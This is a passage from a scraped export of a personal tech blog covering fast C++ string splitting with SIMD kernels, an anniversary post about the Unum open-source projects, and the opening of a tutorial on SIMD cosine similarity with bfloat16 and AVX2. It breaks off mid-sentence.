Skip empty lines or comments auto [key, value] = split_key_value(line); if (key.empty() || value.empty()) return; // Skip invalid lines settings.emplace_back(key, value); }); } Ranges Parser We can reuse the is_newline and split_key_value functions while leveraging ranges to create a more concise parser:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include \u0026lt;range/v3/view/filter.hpp\u0026gt; #include \u0026lt;range/v3/view/split_when.hpp\u0026gt; #include \u0026lt;range/v3/view/transform.hpp\u0026gt; void parse(std::string_view config, std::vector\u0026lt;std::pair\u0026lt;std::string, std::string\u0026gt;\u0026gt; \u0026amp;settings) { namespace rv = ranges::views; auto lines = config | rv::split_when(is_newline) | rv::transform([](auto \u0026amp;\u0026amp;slice) { auto const size = ranges::distance(slice); return size ? std::string_view(\u0026amp;*slice.begin(), size) : std::string_view(); }) | // Skip comments and empty lines rv::filter([](std::string_view line) { return !line.empty() \u0026amp;\u0026amp; line.front() != \u0026#39;#\u0026#39;; }) | rv::transform(split_key_value) | // Skip invalid lines rv::filter([](auto \u0026amp;\u0026amp;kv) { return !kv.first.empty() \u0026amp;\u0026amp; !kv.second.empty(); }); for (auto [key, value] : std::move(lines)) settings.emplace_back(key, value); } StringZilla Parser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include \u0026lt;stringzilla/stringzilla.hpp\u0026gt; namespace sz = ashvardanian::stringzilla; void parse(std::string_view config, std::vector\u0026lt;std::pair\u0026lt;std::string, std::string\u0026gt;\u0026gt; \u0026amp;settings) { auto newlines = sz::char_set(\u0026#34;\\r\\n\u0026#34;); auto whitespaces = sz::whitespaces_set(); for (sz::string_view line : sz::string_view(config).split(newlines)) { if (line.empty() || line.front() == \u0026#39;#\u0026#39;) continue; // Skip empty lines or comments auto [key, delimiter, value] = line.partition(\u0026#39;:\u0026#39;); key = key.strip(whitespaces); value = value.strip(whitespaces); if (key.empty() || value.empty()) continue; // Skip invalid lines settings.emplace_back(key, value); } } Benchmarking Results All code was compiled with -O3 and -march=native flags using GCC 13. Benchmarks were run on two different AWS EC2 instances running Ubuntu 24.04: Intel Sapphire Rapids and AWS Graviton 4.\nParser Intel Sapphire Rapids AWS Graviton 4 Small Config Large Config Small Config Large Config STL 179 ns 1606 ns 104 ns 1042 ns Ranges v3 559 ns 6862 ns 540 ns 5702 ns StringZilla 115 ns 666 ns 115 ns 964 ns These benchmarks are integrated into the less_slow.cpp repository and can be easily replicated on Linux-based machines following the README instructions. You\u0026rsquo;ll also find many more non-string performance comparisons there, including cases where std::ranges is the clear winner.\nByte in Set SIMD Kernels For those curious about the low-level implementation details, let\u0026rsquo;s examine the actual SIMD kernels from the library - the sz_find_charset_avx512 and sz_find_charset_neon functions.\nAVX-512 Implementation Wojciech Muła\u0026rsquo;s blog post provides excellent insights into byte-in-set algorithms. While StringZilla\u0026rsquo;s implementation uses 512-bit ZMM registers instead of his 128-bit XMM registers, the core mechanics remain similar, as many AVX-512 instructions operate on 128-bit lanes. One notable difference is the use of K mask registers for blends. The bitset ordering differs slightly due to personal preference.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 typedef union sz_u512_vec_t { __m512i zmm; __m256i ymms[2]; __m128i xmms[4]; sz_u64_t u64s[8]; sz_u32_t u32s[16]; sz_u16_t u16s[32]; sz_u8_t u8s[64]; sz_i64_t i64s[8]; sz_i32_t i32s[16]; } sz_u512_vec_t; sz_cptr_t sz_find_charset_avx512(sz_cptr_t text, sz_size_t length, sz_charset_t const *filter) { // Before initializing the AVX-512 vectors, we may want to run the sequential code for the first few bytes. // In practice, that only hurts, even when we have matches every 5-ish bytes. // // if (length \u0026lt; SZ_SWAR_THRESHOLD) return sz_find_charset_serial(text, length, filter); // sz_cptr_t early_result = sz_find_charset_serial(text, SZ_SWAR_THRESHOLD, filter); // if (early_result) return early_result; // text += SZ_SWAR_THRESHOLD; // length -= SZ_SWAR_THRESHOLD; // // Let\u0026#39;s unzip even and odd elements and replicate them into both lanes of the YMM register. // That way when we invoke `_mm512_shuffle_epi8` we can use the same mask for both lanes. sz_u512_vec_t filter_even_vec, filter_odd_vec; __m256i filter_ymm = _mm256_lddqu_si256((__m256i const *)filter); // There are a few way to initialize filters without having native strided loads. // In the chronological order of experiments: // - serial code initializing 128 bytes of odd and even mask // - using several shuffles // - using `_mm512_permutexvar_epi8` // - using `_mm512_broadcast_i32x4(_mm256_castsi256_si128(_mm256_maskz_compress_epi8(0x55555555, filter_ymm)))` // and `_mm512_broadcast_i32x4(_mm256_castsi256_si128(_mm256_maskz_compress_epi8(0xaaaaaaaa, filter_ymm)))` filter_even_vec.zmm = _mm512_broadcast_i32x4(_mm256_castsi256_si128( // broadcast __m128i to __m512i _mm256_maskz_compress_epi8(0x55555555, filter_ymm))); filter_odd_vec.zmm = _mm512_broadcast_i32x4(_mm256_castsi256_si128( // broadcast __m128i to __m512i _mm256_maskz_compress_epi8(0xaaaaaaaa, filter_ymm))); // After the unzipping operation, we can validate the contents of the vectors like this: // // for (sz_size_t i = 0; i != 16; ++i) { // sz_assert(filter_even_vec.u8s[i] == filter-\u0026gt;_u8s[i * 2]); // sz_assert(filter_odd_vec.u8s[i] == filter-\u0026gt;_u8s[i * 2 + 1]); // sz_assert(filter_even_vec.u8s[i + 16] == filter-\u0026gt;_u8s[i * 2]); // sz_assert(filter_odd_vec.u8s[i + 16] == filter-\u0026gt;_u8s[i * 2 + 1]); // sz_assert(filter_even_vec.u8s[i + 32] == filter-\u0026gt;_u8s[i * 2]); // sz_assert(filter_odd_vec.u8s[i + 32] == filter-\u0026gt;_u8s[i * 2 + 1]); // sz_assert(filter_even_vec.u8s[i + 48] == filter-\u0026gt;_u8s[i * 2]); // sz_assert(filter_odd_vec.u8s[i + 48] == filter-\u0026gt;_u8s[i * 2 + 1]); // } // sz_u512_vec_t text_vec; sz_u512_vec_t lower_nibbles_vec, higher_nibbles_vec; sz_u512_vec_t bitset_even_vec, bitset_odd_vec; sz_u512_vec_t bitmask_vec, bitmask_lookup_vec; bitmask_lookup_vec.zmm = _mm512_set_epi8(-128, 64, 32, 16, 8, 4, 2, 1, -128, 64, 32, 16, 8, 4, 2, 1, // -128, 64, 32, 16, 8, 4, 2, 1, -128, 64, 32, 16, 8, 4, 2, 1, // -128, 64, 32, 16, 8, 4, 2, 1, -128, 64, 32, 16, 8, 4, 2, 1, // -128, 64, 32, 16, 8, 4, 2, 1, -128, 64, 32, 16, 8, 4, 2, 1); while (length) { // The following algorithm is a transposed equivalent of the \u0026#34;SIMDized check which bytes are in a set\u0026#34; // solutions by Wojciech Muła. We populate the bitmask differently and target newer CPUs, so // StrinZilla uses a somewhat different approach. // http://0x80.pl/articles/simd-byte-lookup.html#alternative-implementation-new // // sz_u8_t input = *(sz_u8_t const *)text; // sz_u8_t lo_nibble = input \u0026amp; 0x0f; // sz_u8_t hi_nibble = input \u0026gt;\u0026gt; 4; // sz_u8_t bitset_even = filter_even_vec.u8s[hi_nibble]; // sz_u8_t bitset_odd = filter_odd_vec.u8s[hi_nibble]; // sz_u8_t bitmask = (1 \u0026lt;\u0026lt; (lo_nibble \u0026amp; 0x7)); // sz_u8_t bitset = lo_nibble \u0026lt; 8 ? bitset_even : bitset_odd; // if ((bitset \u0026amp; bitmask) != 0) return text; // else { length--, text++; } // // The nice part about this, loading the strided data is vey easy with Arm NEON, // while with x86 CPUs after AVX, shuffles within 256 bits shouldn\u0026#39;t be an issue either. sz_size_t load_length = sz_min_of_two(length, 64); __mmask64 load_mask = _sz_u64_mask_until(load_length); text_vec.zmm = _mm512_maskz_loadu_epi8(load_mask, text); // Extract and process nibbles lower_nibbles_vec.zmm = _mm512_and_si512(text_vec.zmm, _mm512_set1_epi8(0x0f)); bitmask_vec.zmm = _mm512_shuffle_epi8(bitmask_lookup_vec.zmm, lower_nibbles_vec.zmm); // // At this point we can validate the `bitmask_vec` contents like this: // // for (sz_size_t i = 0; i != load_length; ++i) { // sz_u8_t input = *(sz_u8_t const *)(text + i); // sz_u8_t lo_nibble = input \u0026amp; 0x0f; // sz_u8_t bitmask = (1 \u0026lt;\u0026lt; (lo_nibble \u0026amp; 0x7)); // sz_assert(bitmask_vec.u8s[i] == bitmask); // } // // Shift right every byte by 4 bits. // There is no `_mm512_srli_epi8` intrinsic, so we have to use `_mm512_srli_epi16` // and combine it with a mask to clear the higher bits. higher_nibbles_vec.zmm = _mm512_and_si512(_mm512_srli_epi16(text_vec.zmm, 4), _mm512_set1_epi8(0x0f)); bitset_even_vec.zmm = _mm512_shuffle_epi8(filter_even_vec.zmm, higher_nibbles_vec.zmm); bitset_odd_vec.zmm = _mm512_shuffle_epi8(filter_odd_vec.zmm, higher_nibbles_vec.zmm); // // At this point we can validate the `bitset_even_vec` and `bitset_odd_vec` contents like this: // // for (sz_size_t i = 0; i != load_length; ++i) { // sz_u8_t input = *(sz_u8_t const *)(text + i); // sz_u8_t const *bitset_ptr = \u0026amp;filter-\u0026gt;_u8s[0]; // sz_u8_t hi_nibble = input \u0026gt;\u0026gt; 4; // sz_u8_t bitset_even = bitset_ptr[hi_nibble * 2]; // sz_u8_t bitset_odd = bitset_ptr[hi_nibble * 2 + 1]; // sz_assert(bitset_even_vec.u8s[i] == bitset_even); // sz_assert(bitset_odd_vec.u8s[i] == bitset_odd); // } // __mmask64 take_first = _mm512_cmplt_epi8_mask(lower_nibbles_vec.zmm, _mm512_set1_epi8(8)); bitset_even_vec.zmm = _mm512_mask_blend_epi8(take_first, bitset_odd_vec.zmm, bitset_even_vec.zmm); __mmask64 matches_mask = _mm512_mask_test_epi8_mask(load_mask, bitset_even_vec.zmm, bitmask_vec.zmm); if (matches_mask) { int offset = sz_u64_ctz(matches_mask); return text + offset; } else { text += load_length, length -= load_length; } } return SZ_NULL_CHAR; } ARM NEON Implementation The ARM implementation is somewhat simpler, thanks to the vqtbl1q_u8 instruction for table lookups. The main challenge lies in replacing the x86 movemask instruction, which can be accomplished using vshrn as described in Danila Kutenin\u0026rsquo;s blog post.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 typedef union sz_u128_vec_t { uint8x16_t u8x16; uint16x8_t u16x8; uint32x4_t u32x4; uint64x2_t u64x2; sz_u64_t u64s[2]; sz_u32_t u32s[4]; sz_u16_t u16s[8]; sz_u8_t u8s[16]; } sz_u128_vec_t; sz_u64_t _sz_vreinterpretq_u8_u4(uint8x16_t vec) { return vget_lane_u64( vreinterpret_u64_u8(vshrn_n_u16(vreinterpretq_u16_u8(vec), 4)), 0) \u0026amp; 0x8888888888888888ull; } sz_u64_t _sz_find_charset_neon_register(sz_u128_vec_t h_vec, uint8x16_t set_top_vec_u8x16, uint8x16_t set_bottom_vec_u8x16) { // Once we\u0026#39;ve read the characters in the haystack, we want to // compare them against our bitset. The serial version of that code // would look like: `(set_-\u0026gt;_u8s[c \u0026gt;\u0026gt; 3] \u0026amp; (1u \u0026lt;\u0026lt; (c \u0026amp; 7u))) != 0`. uint8x16_t byte_index_vec = vshrq_n_u8(h_vec.u8x16, 3); uint8x16_t byte_mask_vec = vshlq_u8(vdupq_n_u8(1), vreinterpretq_s8_u8(vandq_u8(h_vec.u8x16, vdupq_n_u8(7)))); uint8x16_t matches_top_vec = vqtbl1q_u8(set_top_vec_u8x16, byte_index_vec); // The table lookup instruction in NEON replies to out-of-bound requests with zeros. // The values in `byte_index_vec` all fall in [0; 32). So for values under 16, substracting 16 will underflow // and map into interval [240, 256). Meaning that those will be populated with zeros and we can safely // merge `matches_top_vec` and `matches_bottom_vec` with a bitwise OR. uint8x16_t matches_bottom_vec = vqtbl1q_u8(set_bottom_vec_u8x16, vsubq_u8(byte_index_vec, vdupq_n_u8(16))); uint8x16_t matches_vec = vorrq_u8(matches_top_vec, matches_bottom_vec); // Instead of pure `vandq_u8`, we can immediately broadcast a match presence across each 8-bit word. matches_vec = vtstq_u8(matches_vec, byte_mask_vec); return _sz_vreinterpretq_u8_u4(matches_vec); } sz_cptr_t sz_find_charset_neon(sz_cptr_t h, sz_size_t h_length, sz_charset_t const *set) { sz_u64_t matches; sz_u128_vec_t h_vec; uint8x16_t set_top_vec_u8x16 = vld1q_u8(\u0026amp;set-\u0026gt;_u8s[0]); uint8x16_t set_bottom_vec_u8x16 = vld1q_u8(\u0026amp;set-\u0026gt;_u8s[16]); // Process text in 16-byte chunks for (; h_length \u0026gt;= 16; h += 16, h_length -= 16) { h_vec.u8x16 = vld1q_u8((sz_u8_t const *)(h)); matches = _sz_find_charset_neon_register(h_vec, set_top_vec_u8x16, set_bottom_vec_u8x16); if (matches) return h + sz_u64_ctz(matches) / 4; } // Handle remaining bytes with serial implementation return sz_find_charset_serial(h, h_length, set); } ","permalink":"https://ashvardanian.com/posts/splitting-strings-cpp/","summary":"\u003cp\u003eIt\u0026rsquo;s 2025.\nSixteen years ago, someone \u003ca href=\"https://stackoverflow.com/questions/236129/how-do-i-iterate-over-the-words-of-a-string/\"\u003easked on StackOverflow how to split a string in C++\u003c/a\u003e.\nWith 3000 upvotes, you might think this question has been definitively answered.\nHowever, the provided solutions can be greatly improved in terms of both flexibility and performance, yielding up to a 10x speedup.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Splitting Strings in C++\" loading=\"lazy\" src=\"/splitting-strings-cpp/splitting-strings-cpp.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eIn this post, we\u0026rsquo;ll explore three better ways to split strings in C++, including a solution I briefly mentioned in 2024 as \u003ca href=\"/posts/painful-strings/#split-and-search-lazy-ranges\"\u003epart\u003c/a\u003e of a longer review of the \u003ca href=\"/posts/painful-strings\"\u003ePainful Pitfalls of C++ STL Strings\u003c/a\u003e.\u003c/p\u003e","title":"10x Faster C++ String Split, 16 Years Later 👴🏻"},{"content":"When I was 20, I committed the next 40 years of my life to AI, approaching it from the infrastructure perspective. In 2015, before ChatGPT and the AI surge, such a long-term commitment seemed naive to many — almost like proposing marriage on a second date — the move I am most proud of.\nYesterday, Unum celebrated its 9th anniversary, and my open-source contributions have surpassed 9,000 stars on GitHub. To mark the occasion, as I\u0026rsquo;ve done before, I\u0026rsquo;m releasing something new, free, and practical for the scientific community: efficient Bilinear Forms for real and complex numbers. These are useful in fields like statistics, computational physics, biology, or chemistry. These kernels may offer up to 5x improvements in mixed-precision throughput compared to BLAS and other libraries that power tools like NumPy, especially for simulating the time evolution of small systems of non-entangled quantum states. If you\u0026rsquo;re curious about Bilinear Forms, you can check the release notes of the SimSIMD project.\n——\nOn a more personal note, founding, funding, and building Unum was the second-best decision of my life. It cost me my physics degree, meaning I can\u0026rsquo;t formally teach in most universities. It drained my finances as I learned how to hire and fire people, and \u0026ldquo;how not to sell\u0026rdquo; products. Over the past nine years, I\u0026rsquo;ve moved more times than I can count, witnessed wars, lost loved ones, opened and closed offices, failed countless fundraisers, and started over repeatedly.\nBut even on my darkest days, I\u0026rsquo;ve always found solace in the work. It has helped me recover every time. And it never felt like work. Confucius was right — \u0026ldquo;Choose a job you love, and you will never have to work a day in your life\u0026rdquo;.\n——\nStrategically, the past few years have been about building trust within the open-source community. While innovative one-off projects sometimes emerge, the ecosystems are rare. Today, giants like Google and Meta dominate the creation of foundational infrastructure, while \u0026ldquo;innovative startups\u0026rdquo; build shallow \u0026ldquo;wrappers\u0026rdquo; — adding 5% of work, charging 500% more, and calling it a day.\nGoogle has given us projects like LevelDB, TensorFlow, gRPC, SCANN, and the Gemma models. Meta has released RocksDB, PyTorch, Thrift, FAISS, and the LLAMA models. Those are solid projects, but most of them were designed to be \u0026ldquo;good enough\u0026rdquo; to meet milestones, close tickets, or secure promotions. They weren\u0026rsquo;t always built by those obsessed with quality, elegance, and harnessing the full potential of modern hardware. Similarly, the software built on top of that infrastructure is often unimaginably dull. It\u0026rsquo;s not always sending rockets to Mars or curing cancer.\nPresentation slide from one of my failed fundraisers, 2022/3.\nThat\u0026rsquo;s why we built UStore, USearch, UCall, and UForm. First, as a proof of concept, that a short minimalistic codebase can outperform the so-called \u0026ldquo;leaders of the industry\u0026rdquo; in terms of scalability metrics and be a foundation for all kinds of inspiring projects — from the world\u0026rsquo;s most used Chat Bots to the personalized medicine and drug discovery. Nine years in, this vision is clearer than ever, and I\u0026rsquo;m declaring this \u0026ldquo;warm-up phase\u0026rdquo; complete. Over the next 31+ years, my goal is to evolve these projects into a continuously growing computing infrastructure capable of powering the next generation of scientific and technological breakthroughs.\nThank you all for your support — here\u0026rsquo;s to the next chapter.\nAsh,\nBenevolent Dictator for Life\nUnum\n","permalink":"https://ashvardanian.com/posts/next-31-years-of-unum/","summary":"\u003cp\u003eWhen I was 20, I committed the next 40 years of my life to AI, approaching it from the infrastructure perspective.\nIn 2015, before ChatGPT and the AI surge, such a long-term commitment seemed naive to many — almost like proposing marriage on a second date — the move I am most proud of.\u003c/p\u003e\n\u003cp\u003eYesterday, Unum celebrated its 9th anniversary, and my open-source contributions have surpassed 9,000 stars on GitHub.\nTo mark the occasion, as I\u0026rsquo;ve done before, I\u0026rsquo;m releasing something new, free, and practical for the scientific community: efficient \u003ca href=\"https://en.wikipedia.org/wiki/Bilinear_form\"\u003eBilinear Forms\u003c/a\u003e for real and complex numbers.\nThese are useful in fields like statistics, computational physics, biology, or chemistry.\nThese kernels may offer up to 5x improvements in mixed-precision throughput compared to \u003ca href=\"https://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms\"\u003eBLAS\u003c/a\u003e and other libraries that power tools like NumPy, especially for simulating the time evolution of small systems of non-entangled quantum states.\nIf you\u0026rsquo;re curious about Bilinear Forms, you can check the \u003ca href=\"https://github.com/ashvardanian/SimSIMD/releases\"\u003erelease notes of the SimSIMD project\u003c/a\u003e.\u003c/p\u003e","title":"The Next 31 Years of Developing Unum"},{"content":" This blogpost is a mirror of the original post on Modular.com.\nModern CPUs have an incredible superpower: super-scalar operations, made available through single instruction, multiple data (SIMD) parallel processing. Instead of doing one operation at a time, a single core can do up to 4, 8, 16, or even 32 operations in parallel. In a way, a modern CPU is like a mini GPU, able to perform a lot of simultaneous calculations. Yet, because it\u0026rsquo;s so tricky to write parallel operations, almost all that potential remains untapped, resulting in code that only does one operation at a time.\nRecently, the four of us, Ash Vardanian (@ashvardanian), Evan Ovadia (@verdagon), Daniel Lemiere (@lemire), and Chris Lattner (@clattner_llvm) talked about what\u0026rsquo;s holding developers back from effectively using super-scalar operations more, and how we can create better abstractions for writing optimal software for CPUs.\nHere, we share what we learned from years of implementing SIMD kernels in the SimSIMD library, which currently powers vector math in dozens of Database Management Systems (DBMS) products and AI companies–with software deployed on well over 100 million devices. While the first SIMD instruction sets were defined as early as 1966, the pain points of working with SIMD have been persistent:\nHigh-performance computing is practically reverse-engineering of architecture details. Auto-vectorization is unreliable: the compiler can\u0026rsquo;t reliably figure this out for us. SIMD instructions are complex, and even Arm is starting to look more \u0026ldquo;CISCy\u0026rdquo; than x86! Performance is unpredictable, even for the same instruction sets shared across different CPUs. Debugging is complex: there\u0026rsquo;s no easy way to view the registers. CPU-specific code is tricky, whether it be compile-time or dynamic dispatch. Computation precision is inconsistent for floating point operations across different CPUs and instruction sets. Let\u0026rsquo;s explore these challenges and how Mojo helps address them by implementing one of the most trivial yet widespread operations in machine learning: cosine similarity. Cosine similarity computes how close two vectors are to one another by measuring the angle between the vectors.\nIntroduction to Cosine Similarity You might be surprised by the widespread use of cosine similarity. Farming robots use it to zap 200,000 weeds per hour with vision-guided lasers, new ML-based methods use it for improving the speed and accuracy of climate models, and nearly every Retrieval Augmented Generation (RAG) pipeline measures the similarity of user prompts to existing knowledge bases with cosine similarity.\nThe following simplified diagram illustrates how RAG uses cosine similarity. A language processing ML pipeline converts text into vectors that numerically capture the meaning of words and sentences, with similar vectors sharing similar meanings. These semantically meaningful vectors are called embeddings. Cosine similarity is a way to compute the difference between embedding vectors, determining if they are semantically similar.\nSimplified example of measuring embedding distance. Adapted from Samuel Partee\nCosine similarity can be expressed with this trivial Python code snippet, which takes the dot product of two vectors normalized by the length of the vectors:\n1 2 3 4 5 6 7 8 def cosine_similarity(a: list[float], b: list[float]) -\u0026gt; float: dot_product = sum(ai * bi for ai, bi in zip(a, b)) norm_a = sum(ai * ai for ai in a) ** 0.5 norm_b = sum(bi * bi for bi in b) ** 0.5 if norm_a == 0 or norm_b == 0: return 1 if dot_product == 0: return 0 return dot_product / (norm_a * norm_b) Despite this algorithm\u0026rsquo;s simplicity, we can squeeze several orders of magnitude of performance out of this code. In NumPy, the same algorithm can be implemented as follows:\n1 2 3 4 5 6 7 8 9 import numpy as np def cosine_similarity(a: np.ndarray, b: np.ndarray) -\u0026gt; float: a, b = np.asarray(a), np.asarray(b) dot_product = np.dot(a, b) norm_a, norm_b = np.linalg.norm(a), np.linalg.norm(b) if norm_a == 0 or norm_b == 0: return 1 if dot_product == 0: return 0 return dot_product / (norm_a * norm_b) The NumPy implementation illustrates a marked improvement over the naive algorithm, but we can do even better!\nPerformance of naive serial Python and NumPy implementations of cosine similarity.\nIn the remainder of this article, we\u0026rsquo;ll implement cosine similarity using C, taking advantage of common SIMD instructions available for various CPUs. We will also write a dispatch function that chooses different algorithms depending on our CPU. Along the way, we\u0026rsquo;ll discuss the intricacies and complexities of SIMD programming and how to solve them.\nIn Part 2 of this series, we\u0026rsquo;ll show how Mojo makes it easy to write similarly performant algorithms using built-in language features, so subscribe to the Modular\u0026rsquo;s RSS feed to get notified when that comes!\nMixed Precision For the remainder of this article, we\u0026rsquo;ll be using the most common numeric type in Machine Learning these days, the bfloat16 type.\nbfloat16 is a 16-bit floating point number type with a much smaller range and precision than the IEEE-standard float32 type, making it much faster to compute with. It\u0026rsquo;s also different from the IEEE-standard b type.\nbfloat16 compared to bfloat32\nSurprising to many, the bfloat16 is much easier to convert to and from float32 than float16 is - it\u0026rsquo;s just a single bit shift, because its exponent takes the same number of bits. This makes it much easier to use in practice, even on older hardware without native support: just shift to convert it to a float32, use a float32 instruction, and shift to convert it back.\nBut as much as we like bfloat16, we shouldn\u0026rsquo;t use it exclusively. The imprecision introduced by the type can compound quickly leading to wildly inaccurate results. To address this, we can mix different numeric types in the same computation.\nFor example, we could use bfloat16 for the vectors, multiply into float32 accumulators, and upcast further to float64 for the final normalization. In C++23 it would look like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include \u0026lt;cmath\u0026gt; // std::sqrt #include \u0026lt;stdfloat\u0026gt; // std::bfloat16_t, std::float32_t, std::float64_t std::float64_t cosine_similarity(std::bfloat16_t const * a, std::bfloat16_t const * b, std::size_t n) noexcept { std::float32_t dot_product = 0, norm_a = 0, norm_b = 0; for (std::size_t i = 0; i \u0026lt; n; i++) { std::float32_t ai = a[i], bi = b[i]; dot_product += ai * bi, norm_a += ai * ai, norm_b += bi * bi; } if (dot_product == 0) return 0; if (norm_a == 0 || norm_b == 0) return 1; return dot_product / (std::sqrt(norm_a) * std::sqrt(norm_b)); } Unfortunately, there are several issues with this code.\nFirst, the C++ standard doesn\u0026rsquo;t require those types to be defined, so not every compiler will have them. Portable code with these faster data types generally requires more effort.\nSecond, it\u0026rsquo;s well known that even in data-parallel code like this, compilers have a hard time vectorizing low-precision code, sometimes leaving as much as 99% of single-core performance on the table, and with mixed precision it\u0026rsquo;s even worse! One needs to be explicit if they want reliable data parallelism.\nLastly, double-precision division, combined with a bit-accurate std::sqrt implementation, introduces several code branches and a lot of latency for small inputs. We can avoid these by using faster instructions.\nTo solve these problems, let\u0026rsquo;s use rsqrt reciprocal square root $(1/√x)$ approximations, and explicitly use SIMD intrinsics to accelerate this code for every common target platform.\nLet\u0026rsquo;s start by looking at some C 99 cross-platform kernels from my SimSIMD library.\nBaseline implementation for Intel Haswell Intel Haswell and newer generations of x86 CPUs all support AVX2, which is a 256-bit SIMD instruction set for the 32 new YMM register files on the CPU. This allows us to do 8 simultaneous float32 operations at a time.\nHere\u0026rsquo;s roughly what our above kernel would look like, specialized for AVX2 hardware.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void simsimd_cos_bf16_haswell(simsimd_bf16_t const * a, simsimd_bf16_t const * b, simsimd_size_t n, simsimd_distance_t * result) { __m256 a_vec, b_vec; // Initialize our accumulators, each will have 8 words/scalars. __m256 ab_vec = _mm256_setzero_ps(), a2_vec = _mm256_setzero_ps(), b2_vec = _mm256_setzero_ps(); while (n) { // Load the next 128 bits from the inputs, then cast. a_vec = _simsimd_bf16x8_to_f32x8_haswell(_mm_loadu_si128((__m128i const*)a)); b_vec = _simsimd_bf16x8_to_f32x8_haswell(_mm_loadu_si128((__m128i const*)b)); n -= 8, a += 8, b += 8; // TODO: Handle input lengths that aren\u0026#39;t a multiple of 8 // Multiply and add them to the accumulator variables. ab_vec = _mm256_fmadd_ps(a_vec, b_vec, ab_vec); a2_vec = _mm256_fmadd_ps(a_vec, a_vec, a2_vec); b2_vec = _mm256_fmadd_ps(b_vec, b_vec, b2_vec); } // TODO: Reduce; combine the 8 words/scalars into one scalar number. // TODO: Normalize and divide, like: *result = ab / (sqrt(a2) * sqrt(b2)) } We\u0026rsquo;ll implement the TODO blocks later below, but you can also see the completed simsimd_cos_bf16_haswell implementation in simsimd/spatial.h.\nThis loop does three main things.\nFirst, it uses _mm_loadu_si128 to load 128 bits from a potentially unaligned memory address. One should be careful to use this instead of _mm_load_si128 which crashes if the address of the vector is not divisible by 16, which is the XMM register size in bytes.\nSecond, it uses _simsimd_bf16x8_to_f32x8_haswell to convert from bfloat16 to float32. It interprets the input as 8 16-bit integers and converts them to 32-bit integers, and then shift them left by 16 bits:\n1 2 3 __m256 _simsimd_bf16x8_to_f32x8_haswell(__m128i a) { return _mm256_castsi256_ps(_mm256_slli_epi32(_mm256_cvtepu16_epi32(a), 16)); } Third, we use _mm256_fmadd_ps to accumulate our dot product into ab_vec\u0026rsquo;s 8 scalars by multiplying a_vec\u0026rsquo;s 8 words with b_vec\u0026rsquo;s 8 words. This is a fused multiply-add (FMA) instruction, which is faster than multiplying and adding numbers individually:\nArchitecture mul Latency add Latency fmadd Latency Intel Haswell 5 cycles 3 cycles 5 cycles Intel Skylake-X 4 cycles 4 cycles 4 cycles Intel Ice Lake 4 cycles 4 cycles 4 cycles AMD Zen4 3 cycles 3 cycles 4 cycles For most of those instructions and CPU core designs, two such operations can be performed simultaneously. We call FMA three times in each cycle. Once for the actual dot product and twice to accumulate \u0026ldquo;squared norms\u0026rdquo; into a2_vec and b2_vec.\nAfter the loop, we\u0026rsquo;ll need to horizontally accumulate, which means add the 8 words of ab_vec together to get one single number. Let\u0026rsquo;s talk about how!\nReducing Horizontal Accumulations A tricky part of SIMD in practice is to avoid horizontal accumulation of the entire register, because it\u0026rsquo;s a slow operation.\nWhenever possible, accumulation should be placed outside of the loop, which generally requires some intra-register shuffling for a tree-like reduction.\nFor example, _simsimd_reduce_f32x8_haswell may look like this under the hood:\n1 2 3 4 5 6 7 8 9 10 11 12 simsimd_f64_t _simsimd_reduce_f32x8_haswell(__m256 vec) { __m128 low_f32 = _mm256_castps256_ps128(vec); __m128 high_f32 = _mm256_extractf128_ps(vec, 1); __m256d low_f64 = _mm256_cvtps_pd(low_f32); __m256d high_f64 = _mm256_cvtps_pd(high_f32); __m256d sum = _mm256_add_pd(low_f64, high_f64); __m128d sum_low = _mm256_castpd256_pd128(sum); __m128d sum_high = _mm256_extractf128_pd(sum, 1); __m128d sum128 = _mm_add_pd(sum_low, sum_high); sum128 = _mm_hadd_pd(sum128, sum128); return _mm_cvtsd_f64(sum128); } In our function, we\u0026rsquo;ll use it like this:\n1 2 3 simsimd_f64_t ab = _simsimd_reduce_f32x8_haswell(ab_vec); simsimd_f64_t a2 = _simsimd_reduce_f32x8_haswell(a2_vec); simsimd_f64_t b2 = _simsimd_reduce_f32x8_haswell(b2_vec); Now, we have:\nA single ab number, the dot product of a and b. A single a2 number, the dot product of a with itself, the \u0026ldquo;squared norm\u0026rdquo; of a. A similar squared norm of b. Reciprocal square root approximation in AVX2 Our function\u0026rsquo;s last line will be this:\n1 *result = _simsimd_cos_normalize_f64_haswell(ab, a2, b2); It will need to do the dot product of a and b, divided by the normalized a and the normalized b, like this pseudocode:\n1 *result = ab / (sqrt(a2) * sqrt(b2)) That\u0026rsquo;s right: to normalize the result, not one, but two square roots are required.\nWe\u0026rsquo;ll use the _mm_rsqrt_ps instruction. It\u0026rsquo;s not available for double-precision floats, but it\u0026rsquo;s still a great choice for single-precision floats. Our function would look something like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 simsimd_distance_t _simsimd_cos_normalize_f64_haswell(simsimd_f64_t ab, simsimd_f64_t a2, simsimd_f64_t b2) { if (ab == 0) return 0; if (a2 == 0 || b2 == 0) return 1; __m128d squares = _mm_set_pd(a2, b2); __m128d rsqrts = _mm_cvtps_pd(_mm_rsqrt_ps(_mm_cvtpd_ps(squares))); // TODO: More precision! simsimd_f64_t a2_reciprocal = _mm_cvtsd_f64(_mm_unpackhi_pd(rsqrts, rsqrts)); simsimd_f64_t b2_reciprocal = _mm_cvtsd_f64(rsqrts); return ab * a2_reciprocal * b2_reciprocal; } However, the _mm_rsqrt_ps instruction can introduce errors as high as 1.5*2^-12, as documented by 